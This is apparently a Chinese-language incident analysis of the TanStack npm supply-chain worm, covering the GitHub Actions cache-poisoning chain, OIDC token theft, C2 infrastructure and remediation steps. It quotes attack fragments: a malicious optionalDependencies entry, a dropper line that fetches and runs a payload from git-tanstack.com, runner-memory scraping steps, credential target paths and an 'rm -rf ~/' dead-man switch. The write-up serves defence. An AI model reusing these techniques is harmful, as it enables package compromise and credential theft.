> **来源**:TanStack官方Postmortem、Snyk技术分析、Wiz安全报告、Lyrie.ai研究、GitHub Security Advisory GHSA-g7cv-rxg3-hmpx
> **作者**:小凯
> **日期**:2026-05-14
> **事件编号**:CVE-2026-45321
---
## 一句话总结
2026年5月11日,威胁组织TeamPCP利用GitHub Actions的三个"特性"——`pull_request_target`触发器、跨信任边界的缓存机制、以及内存中的OIDC令牌——在不盗取任何凭证的情况下,通过TanStack自身的合法发布流水线,在11分钟内发布了84个携带有效SLSA Build Level 3证明的恶意npm包,触发了供应链安全的范式危机。
---
## 一、事件全景:精确到分钟的时间线与影响范围
### 1.1 攻击时间线(UTC)
| 时间 | 事件 |
|------|------|
| **5月10日 17:16** | 攻击者创建fork `github.com/zblgg/configuration`(故意重命名以逃避fork列表搜索) |
| **5月10日 23:29** | 恶意commit `65bf499d` 以伪造身份 `claude <claude@users.noreply.github.com>` 提交,添加 `packages/history/vite_setup.mjs`(~30,000行混淆JS) |
| **5月11日 ~10:49** | PR #7378 打开,标题 "WIP: simplify history build" |
| **5月11日 11:01-11:11** | 多次force-push,触发 `pull_request_target` 工作流 |
| **5月11日 11:29** | 1.1 GB的poisoned cache entry保存到GitHub Actions cache,key: `Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11` |
| **5月11日 11:31** | 攻击者force-push PR回零差异状态并关闭,cache poison保留 |
| **5月11日 19:15** | 合法PR #7369合并到main,触发 `release.yml` |
| **5月11日 19:20:39** | **第一批42个恶意包发布到npm** |
| **5月11日 19:20:47** | 工作流run 25613093674完成,状态:failure |
| **5月11日 19:16** | 合法PR #7382合并,触发第二个release工作流 |
| **5月11日 19:26:14** | **第二批42个恶意包发布** |
| **5月11日 19:26:20** | 工作流run 25691781302完成,状态:failure |
| **5月11日 ~19:50** | StepSecurity研究员ashishkurmi发现并公开报告issue #7383 |
| **5月11日 ~21:00** | TanStack确认范围:42包,84版本;开始deprecation |
**关键洞察**:攻击者选择了一个会break tests的payload,这导致workflow的Publish步骤被跳过(因为tests失败),但恶意发布已经通过直接POST到registry.npmjs.org完成。这种"loud"的攻击实际上加速了检测——如果攻击者更谨慎,可能可以静默运行数小时。
### 1.2 影响范围
**直接受害者**:
- **42个@tanstack/*包**,84个版本(每个包2个版本)
- `@tanstack/react-router` 每周下载量约 **1270万次**
- 其他知名包:`@tanstack/history`, `@tanstack/react-start`, `@tanstack/vue-router` 等
**二次传播受害者(蠕虫自传播)**:
- **<span class="mention-invalid">@mistralai</span>/mistralai** (2.2.2-2.2.4) + azure/gcp variants
- **<span class="mention-invalid">@uipath</span>/*** 65+个包(企业自动化平台)
- **<span class="mention-invalid">@opensearch</span>-project/opensearch** (1.3M周下载)
- **<span class="mention-invalid">@squawk</span>/*** 航空数据包(19个包)
- **<span class="mention-invalid">@draftlab</span>/*, <span class="mention-invalid">@draftauth</span>/*, <span class="mention-invalid">@beproduct</span>/* 等**
- PyPI: `mistralai==2.4.6`, `guardrails-ai==0.10.1`
**总计**:至少 **169个包,373个恶意版本**(Orca Security统计),覆盖npm和PyPI两大生态。
---
## 二、攻击链解剖:三阶段精密打击
### Stage 1: Pwn Request + Cache Poisoning(5月10-11日,预攻击阶段)
#### 2.1.1 pull_request_target 的致命陷阱
`bundle-size.yml` 的配置:
```yaml
on:
pull_request_target:
paths: ['packages/**', 'benchmarks/**']
jobs:
benchmark-pr:
steps:
- uses: actions/checkout@v6.0.2
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge # ← 执行fork代码
- uses: TanStack/config/.github/setup@main # ← 调用cache
- run: pnpm nx run @benchmarks/bundle-size:build # ← 执行恶意vite_setup.mjs
```
**信任边界破裂点**:
- `pull_request_target` 在**base repo的安全上下文**中运行,拥有base repo的secrets和权限
- 但 `actions/checkout` 被配置为检出**fork的merge ref**
- 这意味着:fork的代码在base repo的权限下执行
作者尝试做了信任拆分(将benchmark-pr与comment-pr分离),但遗漏了两个关键事实:
1. **`actions/cache@v5`的post-job save使用runner-internal token**,不是workflow的GITHUB_TOKEN。设置 `permissions: contents: read` 无法阻止cache写入。
2. **Cache scope是per-repo的**,跨 `pull_request_target` 运行(使用base repo的cache scope)和main分支的push共享。PR运行在base repo的cache scope中,可以poison之后production workflow会restore的entry。
#### 2.1.2 缓存投毒的艺术
恶意 `vite_setup.mjs` 并非立即窃取数据,而是将恶意数据写入pnpm store,使用key:`Linux-pnpm-store-${hashFiles('**/pnpm-lock.yaml')}`。这个key正是 `release.yml` 会查找的key。
攻击者在11:29完成cache poison,然后force-push PR回零差异状态并关闭。整个过程**在代码库中不留任何痕迹**——恶意commit存在于fork网络中,但PR看起来从未合并。
### Stage 2: OIDC Token Runtime Extraction(5月11日 19:15-19:26,引爆阶段)
#### 2.2.1 内存提取OIDC令牌
`release.yml` 合法地声明了 `id-token: write`(npm OIDC trusted publishing所需)。当poisoned pnpm cache被restore后,恶意二进制在build阶段执行:
1. 通过 `/proc/*/cmdline` 定位 `Runner.Worker` 进程
2. 读取 `/proc/<pid>/maps` 和 `/proc/<pid>/mem` dump worker的地址空间
3. 提取OIDC token(runner在内存中lazy mint,当 `id-token: write` 设置时)
4. 直接POST到 `registry.npmjs.org` 进行认证发布
**这是2025年3月tj-actions/changed-files事件中使用过的相同技术**——攻击者甚至没有写新代码,直接复制了公开的攻击脚本(连attribution comment都保留了)。
#### 2.2.2 SLSA Build Level 3 证明的生成
发布的84个包全部携带**有效的Sigstore provenance attestation**。SLSA证明正确验证了:这些包是由 `release.yml` 在 `refs/heads/main` 分支的 `TanStack/router` 仓库中构建和发布的。
**这一切都为真。问题是:构建环境本身已经被劫持了。**
两个workflow run都完成了,状态为 `failure`。test failures导致Publish步骤被跳过,但恶意发布已经完成。这是一个完美的讽刺:正是"tests失败"这个表面上的"安全措施",掩盖了更严重的安全事件。
### Stage 3: Self-Propagation & Credential Harvest(安装阶段)
#### 2.3.1 双重感染向量
每个恶意包包含两个感染机制:
**向量A:optionalDependencies注入**
```json
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
```
- `@tanstack/setup` 不是真实npm包
- GitHub URL解析到fork网络中的orphan commit
- npm fetch该commit,运行 `prepare` lifecycle script: `bun run tanstack_runner.js && exit 1`
- `&& exit 1` 让optional install"优雅地失败",几乎不在日志中留痕迹
**向量B:直接嵌入的router_init.js**
- 2.3 MB混淆JS文件,直接放在tarball root
- 不在package的 `"files"` 数组中声明,对静态分析隐藏
#### 2.3.2 三层混淆保护
`router_init.js` 使用Upwind Security完整逆向的三层保护:
**Layer 1**: JavaScript Obfuscator标准模式——自执行字符串数组旋转bootstrap + dispatcher函数 `_0x253b`(单源代码行上被调用2,864次)。所有字符串字面量被数组查找替换。
**Layer 2**: 逐字节Fisher-Yates替换密码。密钥通过PBKDF2-SHA256派生,master key `0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa`,salt `svksjrhjkcejg`,200,000次迭代——故意慢速以抵抗自动分析。
**Layer 3**: 11个AES-256-GCM加密payload,gzip压缩,需要Bun runtime (`Bun.gunzipSync`)解密。
逆向工程使用 `webcrack 2.16.0` 从11.7 MB混淆blob中产出221,771行可读JavaScript。
#### 2.3.3 凭证收割矩阵
payload执行系统性的凭证平面扫描:
**GitHub Actions**: `GITHUB_REPOSITORY`, `ACTIONS_ID_TOKEN_REQUEST_TOKEN`, `ACTIONS_ID_TOKEN_REQUEST_URL`,REST API获取secrets (`GET /repos/<repo>/actions/secrets?per_page=100`)
**AWS**: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_ROLE_ARN`, IMDSv2 (正确实现,能绕过 hardened instances), ECS Task Metadata (`169.254.170.2`), Secrets Manager和SSM Parameter Store枚举
**HashiCorp Vault**: `VAULT_TOKEN`, `VAULT_ADDR`, `vault.svc.cluster.local:8200` (K8s内部端点)
**Kubernetes**: `/var/run/secrets/kubernetes.io/serviceaccount/` service account tokens
**工作站**: `~/.npmrc`, `~/.git-credentials`, SSH私钥 (`~/.ssh/`), `~/.claude/projects/*.jsonl` (Claude Code session history)
**有趣细节**:runner memory scraper **故意跳过明确命名为 `github_token` 的token**——可能是为了避免触发GitHub自己的secret-scanning。
#### 2.3.4 三重C2外渗架构
1. **Typosquat domain**: `git-tanstack.com`
2. **Session/Oxen P2P messenger network**: `filev2.getsession.org`, `seed{1,2,3}.getsession.org` —— 端到端加密,无攻击者控制的C2服务器,IP/domain block是唯一网络层缓解
3. **GitHub API dead drops**: 使用偷来的token创建Dune主题仓库,描述 `Shai-Hulud: Here We Go Again`,分支名 `dependabout/.../setup-formatter` (注意:dependabout,不是dependabot)
Session网络是新增能力——去中心化、抗下架,比专用域名或GitHub外渗更难阻断。
#### 2.3.5 自传播蠕虫逻辑
```javascript
// 枚举受害者维护的所有包
GET registry.npmjs.org/-/v1/search?text=maintainer:<victim>
// 使用偷来的OIDC身份重新发布,携带相同注入
```
蠕虫使用 `generateKeyPairSync` 和 `sign` 为每个重新发布的包**伪造Sigstore-compatible in-toto provenance attestations**。这意味着二次受害者的包也携带看似有效的SLSA provenance——SLSA的失败模式延伸到蠕虫传播包。
---
## 三、"死人开关"与心理战
### 3.1 gh-token-monitor:复仇机制
恶意软件在开发者机器上安装持久化daemon:
**macOS**: `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`
**Linux**: `~/.config/systemd/user/gh-token-monitor.service`
**行为**:每60秒用偷来的GitHub token poll `api.github.com/user`。
**触发条件**:收到40x响应(token被撤销)→ 执行 **`rm -rf ~/`**。
**24小时自动退出**:如果没有触发,daemon在24小时后自动退出。
### 3.2 撤销顺序至关重要
正确的应急顺序:
1. **先禁用monitor service**(找到并kill gh-token-monitor进程,删除plist/service文件)
2. **然后撤销token**
如果顺序颠倒——先撤销token再处理monitor——monitor会在下一次poll时触发home directory destruction。
这个设计既是技术机制,也是**心理战工具**:它制造了一种"damned if you do, damned if you don't"的困境,延缓受害者的响应速度。
### 3.3 Python变种的地理政治条件逻辑
PyPI包 `mistralai==2.4.6` 和 `guardrails-ai==0.10.1` 的payload包含13行新增代码:
```python
# 下载并执行 git-tanstack.com/tmp/transformers.pyz
```
这个Python dropper:
- **仅在Linux上执行**,如果系统语言是俄语则退出
- 如果位置设置为以色列或伊朗:调用 `random.randint(1,6)`,如果等于2,播放MP3文件(全音量)然后执行 `rm -rf`
- 收集1Password和Bitwarden密码库(**首次出现**)
- 外渗到 `83.142.209.194`
注意:现代Linux上不带 `--no-preserve-root` 的 `rm -rf` 会失败,但攻击者在May 13更新了payload修复了这个bug。
---
## 四、SLSA证明的崩塌:信任模型的根本缺陷
### 4.1 第一次:有效SLSA Build Level 3的恶意包
这是**首次 documented case** 的npm蠕虫产生有效SLSA Build Level 3 provenance的恶意包。
Sigstore的attestation验证了:
- ✅ 包由 `release.yml` 构建
- ✅ 在 `refs/heads/main` 分支
- ✅ 在 `TanStack/router` 仓库
**全部为真。但构建环境已被劫持。**
### 4.2 可利用的OIDC配置 vs 安全配置
**脆弱配置**(攻击前TanStack使用):
```yaml
permissions:
id-token: write # 整个workflow级别
contents: read
```
**安全配置**:
```yaml
permissions: {} # workflow级别无权限
jobs:
publish:
permissions:
id-token: write # 仅publish job需要
contents: read
environment: npm # 额外审批层
```
### 4.3 SLSA的正确理解
SLSA provenance证明的是**构建链路的完整性**(从源代码到artifact),不是:
- 工作流是否被授权运行
- 工作流是否从受保护分支执行
- 触发工作流的commit是否合法
**核心教训**:SLSA是必要条件,不是充分条件。如果构建环境本身可以被劫持,provenance就成为一种"完美的伪装"而非"安全的保证"。
---
## 五、攻击归因:TeamPCP 与 Shai-Hulud 蠕虫家族
### 5.1 四波攻击演进
| 波次 | 日期 | 规模 | 关键技术升级 |
|------|------|------|-------------|
| **Wave 1** | 2025-09-14~16 | 500+包,700+仓库 | 首个自传播npm蠕虫;TruffleHog secret提取 |
| **Wave 2** | 2025-11-21~23 | 492包,132M月下载,25,000+仓库 | `preinstall` hook(无需人工交互);home directory destruction fallback |
| **Wave 3** | 2026-04-29 | SAP/Intercom生态 | AI coding agent persistence (`.claude/settings.json`);加密外渗;俄语豁免 |
| **Wave 4** | 2026-05-11 | 373版本,169包 | **OIDC runtime extraction**;**有效SLSA Build Level 3 provenance**;Session P2P C2 |
### 5.2 TeamPCP 特征
- 别名:DeadCatx3, PCPcat, ShellForce, CipherForce
- Unit 42记录:与Vect勒索软件组织在BreachForums上宣布合作
- 俄语豁免 + 以色列/伊朗特殊处理 → 强烈暗示俄罗斯adjacent threat actor
- 代码指纹:`ctf-scramble-v2` Fisher-Yates PRNG(seed `0x3039`/`12345`)在Bitwarden CLI、SAP、TanStack三波中逐字出现
---
## 六、防御指南:从紧急响应到长期加固
### 6.1 紧急响应(如果你可能受影响)
**Step 0: 确认暴露**
```bash
# 检查lockfile中是否有受影响版本
npm pack @tanstack/<name>@<version> # 下载tarball,不执行lifecycle scripts
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js # 如果存在,即为恶意payload
```
**Step 1: 先禁用 persistence,再撤销凭证**
```bash
# Linux
systemctl --user stop gh-token-monitor.service
rm ~/.config/systemd/user/gh-token-monitor.service
systemctl --user daemon-reload
# macOS
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
# 删除IDE持久化钩子
rm -f .claude/router_runtime.js .claude/setup.mjs .vscode/setup.mjs
```
**Step 2: 轮换所有凭证**(按优先级):
1. npm publish tokens和OIDC federation grants
2. GitHub PATs和fine-grained tokens
3. AWS凭证(静态keys和instance role trusts)
4. HashiCorp Vault tokens
5. Kubernetes service account tokens
6. SSH私钥
7. GCP service account credentials
8. `~/.claude/projects/*.jsonl` 中的任何secrets
**Step 3: 网络层阻断**
- DNS级别block: `*.getsession.org`, `git-tanstack.com`, `api.masscan.cloud`
- 二级payload URLs: `litter.catbox.moe/h8nc9u.js`, `litter.catbox.moe/7rrc6l.mjs`
### 6.2 GitHub Actions加固
**审计所有 `pull_request_target` 工作流**:
- 任何checkout PR代码并写入cache的工作流都易受cache poisoning
- 使用 `pull_request`(fork context,read-only)或完全分离fork代码执行与base-repo cache写入
```bash
# 清除所有缓存
gh api /repos/{owner}/{repo}/actions/caches --method GET | jq '.actions_caches[].id' | xargs -I{} gh api /repos/{owner}/{repo}/actions/caches/{} --method DELETE
```
**Pin第三方action到SHA digests**:
```yaml
# 不安全
- uses: actions/checkout@v6.0.2
# 安全
- uses: actions/checkout@11bd71901bbe5b1630ceea73d2759748e75c9f8c # v6.0.2
```
**最小权限原则**:
```yaml
permissions: {} # workflow级别
jobs:
publish:
permissions:
id-token: write # 仅此job
contents: read
```
**启用debug日志**:
```bash
# 在repo secrets中设置
ACTIONS_RUNNER_DEBUG=true # 记录OIDC token minting事件,便于检测劫持
```
### 6.3 供应链长期控制
**Lockfile强制执行**:
```bash
npm ci # 在CI中强制执行,不接受新解析
pnpm install --frozen-lockfile
```
**npm provenance验证**(仍然有价值,只是不够):
```bash
npm audit signatures # 阻止未签名包
```
**发布冷却期**:
```json
// package.json
"publishConfig": {
"provenance": true,
"access": "public"
}
// 配合 npm v11+ allow-git=none 防止git-URL依赖安装
```
**AI coding agent配置文件视为高权限攻击面**:
- `.claude/`, `.cursor/`, `.github/copilot-instructions.md` 需要在code review中审查
- 这些文件在npm uninstall后仍然存活,是持久化向量
### 6.4 为什么Bun用户更安全(但不完全安全)
Bun默认不执行lifecycle scripts,因此直接通过Bun安装受影响包不会触发payload。`router_init.js` 仍然存在于tarball中,但install-time攻击面减小。
---
## 七、哲学思考:为什么我们的信任边界如此脆弱?
### 7.1 三个根本问题
**Q1: 为什么信任边界如此脆弱?**
因为我们构建了"信任继承"的链条,但每个链接都假设前一个链接是干净的:
- GitHub Actions假设cache是干净的
- npm假设publisher是可信的
- SLSA假设build environment是受控的
- 开发者假设 "npm install" 是安全的
攻击者发现:** weakest link 不是密码学,而是假设。** 当三个看似无害的"特性"串联起来,它们创造的 emergent vulnerability 远大于各部分的简单相加。
**Q2: 为什么权限最小化在缓存面前形同虚设?**
因为 `actions/cache@v5` 的post-job save使用**runner-internal token**,不是workflow GITHUB_TOKEN。这意味着:
- `permissions: contents: read` 无法阻止cache写入
- cache scope跨 `pull_request_target` 和main push共享
- 这是一个**设计层面的信任边界破裂**,不是配置错误
**Q3: 在CI/CD系统本身成为最大攻击面的今天,如何保护自己的代码?**
答案是:**多层防御,不信任任何单层。**
1. **行为分析补充静态签名**:Snyk的自动行为分析在发布后6分钟内标记了所有84个artifact——在任何人review之前。静态provenance + 动态行为分析 = 互补控制。
2. **缓存隔离**:明确分离fork cache和base cache。GitHub Actions的设计允许cross-boundary cache sharing,这是feature不是bug——但对于安全来说是anti-pattern。
3. **发布审批**:OIDC trusted publishing的问题在于"一旦配置,workflow中任何代码路径都可以mint publish-capable token"。需要per-publish review或short-lived classic tokens with manual approval。
4. **install-time沙箱**:package managers需要默认隔离lifecycle scripts。Bun的不执行scripts default是一个好的方向,但还不够。
### 7.2 一个更深层的问题
这次攻击暴露了一个metaproblem:**开源基础设施的"公共地悲剧"**。
TanStack的 `bundle-size.yml` 是一个善意的性能监控工具。攻击者利用了"帮助开源项目变得更好"的善意基础设施,将其转化为武器。这类似于之前针对codecov、badge services的攻击模式。
当开源生态的"基础设施层"(GitHub Actions, npm registry, cache systems)成为攻击面,单个项目的安全实践无法保护自己——因为漏洞可能在依赖的共享基础设施中。
---
## 八、关键发现总结
| 维度 | 发现 |
|------|------|
| **攻击持续时间** | 预攻击 ~8小时(cache poison窗口),实际发布 11分钟 |
| **检测时间** | ~20分钟(外部研究员),0分钟内部检测 |
| **凭证窃取** | 0个长期token被盗,全部是runtime OIDC extraction |
| **SLSA影响** | 首次有效SLSA Build Level 3恶意包 |
| **蠕虫传播** | 初始42包 → 169+包(二次传播) |
| **地理豁免** | 俄语系统跳过执行;以色列/伊朗触发特殊逻辑 |
| **持久化机制** | IDE config (`.claude/`, `.vscode/`) + system daemon |
| **死人开关** | `gh-token-monitor`,token撤销触发 `rm -rf ~/` |
| **C2架构** | 三重冗余:typosquat + Session P2P + GitHub dead drops |
| **归因** | TeamPCP(高置信度),与Vect勒索软件组织合作 |
---
## 九、参考来源
1. TanStack Official Postmortem (2026-05-11): https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
2. Snyk Technical Analysis: https://snyk.io/blog/tanstack-npm-packages-compromised/
3. Wiz Blog — Wave 4 Analysis: https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised
4. Lyrie.ai Research: https://lyrie.ai/research/research/mini-shai-hulud-wave4-tanstack-slsa-poisoning-supply-chain-postmortem
5. GitHub Security Advisory: GHSA-g7cv-rxg3-hmpx
6. CVE: CVE-2026-45321
7. StepSecurity Attribution: https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
8. SafeDep Report: https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/
9. Adnan Khan, "The Monsters in Your Build Cache" (May 2024): adnanthekhan.com
10. GitHub Security Lab, "Preventing Pwn Requests": securitylab.github.com
#网络安全 #供应链安全 #GitHubActions #npm #SLSA #MiniShaiHulud #TanStack #TeamPCP #小凯
登录后可参与表态
讨论回复
0 条回复还没有人回复,快来发表你的看法吧!
推荐
推荐
智谱 GLM-5 已上线
我正在智谱大模型开放平台 BigModel.cn 上打造 AI 应用,智谱新一代旗舰模型 GLM-5 已上线,在推理、代码、智能体综合能力达到开源模型 SOTA 水平。
领取 2000万 Tokens
通过邀请链接注册即可获得大礼包,期待和你一起在 BigModel 上畅享卓越模型能力